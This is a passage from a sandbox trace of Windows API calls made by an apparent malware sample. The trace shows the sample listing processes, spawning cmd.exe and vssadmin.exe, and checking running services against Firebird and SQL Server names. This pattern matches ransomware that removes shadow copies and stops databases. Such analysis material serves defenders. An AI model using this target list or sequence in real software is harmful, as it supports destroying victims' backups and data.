lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.267] lstrlenW (lpString="wininit.exe") returned 11 [0173.267] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.267] lstrlenW (lpString="csrss.exe") returned 9 [0173.267] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.268] lstrlenW (lpString="winlogon.exe") returned 12 [0173.268] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.268] lstrlenW (lpString="services.exe") returned 12 [0173.268] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.269] lstrlenW (lpString="lsass.exe") returned 9 [0173.269] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.270] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.270] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.270] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.270] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.271] lstrlenW (lpString="svchost.exe") returned 11 [0173.271] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.271] lstrlenW (lpString="svchost.exe") returned 11 [0173.271] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.272] lstrlenW (lpString="dwm.exe") returned 7 [0173.272] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.273] lstrlenW (lpString="svchost.exe") returned 11 [0173.273] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.273] lstrlenW (lpString="svchost.exe") returned 11 [0173.273] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.274] lstrlenW (lpString="svchost.exe") returned 11 [0173.274] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.274] lstrlenW (lpString="svchost.exe") returned 11 [0173.274] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.275] lstrlenW (lpString="svchost.exe") returned 11 [0173.275] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.276] lstrlenW (lpString="svchost.exe") returned 11 [0173.276] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.276] lstrlenW (lpString="svchost.exe") returned 11 [0173.277] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.277] lstrlenW (lpString="svchost.exe") returned 11 [0173.277] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.278] lstrlenW (lpString="svchost.exe") returned 11 [0173.278] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.279] lstrlenW (lpString="svchost.exe") returned 11 [0173.279] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.279] lstrlenW (lpString="spoolsv.exe") returned 11 [0173.279] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.280] lstrlenW (lpString="svchost.exe") returned 11 [0173.280] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.280] lstrlenW (lpString="audiodg.exe") returned 11 [0173.280] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0173.281] lstrlenW (lpString="sihost.exe") returned 10 [0173.281] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.282] lstrlenW (lpString="svchost.exe") returned 11 [0173.282] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.282] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.282] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0173.283] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0173.283] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0173.283] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0173.283] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0173.284] lstrlenW (lpString="Memory Compression") returned 18 [0173.284] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.285] lstrlenW (lpString="explorer.exe") returned 12 [0173.285] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0173.285] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0173.285] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0173.286] lstrlenW (lpString="SearchUI.exe") returned 12 [0173.286] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0173.286] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0173.286] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0173.287] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0173.287] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0173.288] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0173.288] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0173.288] lstrlenW (lpString="cmd.exe") returned 7 [0173.288] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0173.289] lstrlenW (lpString="conhost.exe") returned 11 [0173.289] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0173.289] lstrlenW (lpString="consent.exe") returned 11 [0173.289] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0173.290] lstrlenW (lpString="vssadmin.exe") returned 12 [0173.290] Process32NextW (in: hSnapshot=0x518, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0173.291] CloseHandle (hObject=0x518) returned 1 [0173.291] Sleep (dwMilliseconds=0x1f4) [0173.962] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dc68 [0174.122] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0174.133] GetLastError () returned 0xea [0174.133] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x403a1d8 [0174.133] EnumServicesStatusExW (in: hSCManager=0x408dc68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x403a1d8, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x403a1d8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0174.142] CloseServiceHandle (hSCObject=0x408dc68) returned 1 [0174.147] lstrlenW (lpString="Appinfo") returned 7 [0174.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0174.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0174.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0174.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0174.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0174.147] lstrlenW (lpString="AppXSvc") returned 7 [0174.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0174.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0174.147] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0174.147] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0174.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0174.147] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0174.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.147] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0174.147] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0174.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0174.147] lstrlenW (lpString="Audiosrv") returned 8 [0174.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0174.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0174.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0174.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0174.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0174.148] lstrlenW (lpString="BFE") returned 3 [0174.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0174.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0174.148] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0174.148] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0174.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0174.148] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0174.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0174.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0174.148] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0174.148] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0174.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0174.148] lstrlenW (lpString="CDPSvc") returned 6 [0174.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0174.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0174.148] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0174.148] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0174.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0174.148] lstrlenW (lpString="ClickToRunSvc") returned 13 [0174.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0174.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0174.148] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0174.148] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0174.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0174.148] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0174.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0174.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0174.148] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0174.148] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0174.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0174.148] lstrlenW (lpString="CryptSvc") returned 8 [0174.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0174.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0174.148] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0174.149] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0174.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0174.149] lstrlenW (lpString="DcomLaunch") returned 10 [0174.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.149] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0174.149] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0174.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0174.149] lstrlenW (lpString="DeviceAssociationService") returned 24 [0174.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0174.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0174.149] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0174.149] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0174.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0174.149] lstrlenW (lpString="Dhcp") returned 4 [0174.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0174.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0174.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0174.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0174.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0174.149] lstrlenW (lpString="Dnscache") returned 8 [0174.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0174.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0174.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0174.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0174.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0174.149] lstrlenW (lpString="DPS") returned 3 [0174.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0174.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0174.149] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0174.149] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0174.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0174.149] lstrlenW (lpString="DusmSvc") returned 7 [0174.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0174.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0174.150] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0174.150] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0174.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0174.150] lstrlenW (lpString="EventLog") returned 8 [0174.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0174.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0174.150] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0174.150] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0174.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0174.150] lstrlenW (lpString="EventSystem") returned 11 [0174.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0174.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0174.150] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0174.150] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0174.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0174.150] lstrlenW (lpString="FontCache") returned 9 [0174.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0174.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0174.150] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0174.150] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0174.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0174.150] lstrlenW (lpString="gpsvc") returned 5 [0174.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0174.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0174.150] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0174.150] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0174.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0174.150] lstrlenW (lpString="iphlpsvc") returned 8 [0174.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.150] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0174.150] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0174.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0174.150] lstrlenW (lpString="KeyIso") returned 6 [0174.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0174.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0174.151] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0174.151] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0174.151] lstrcmpiW 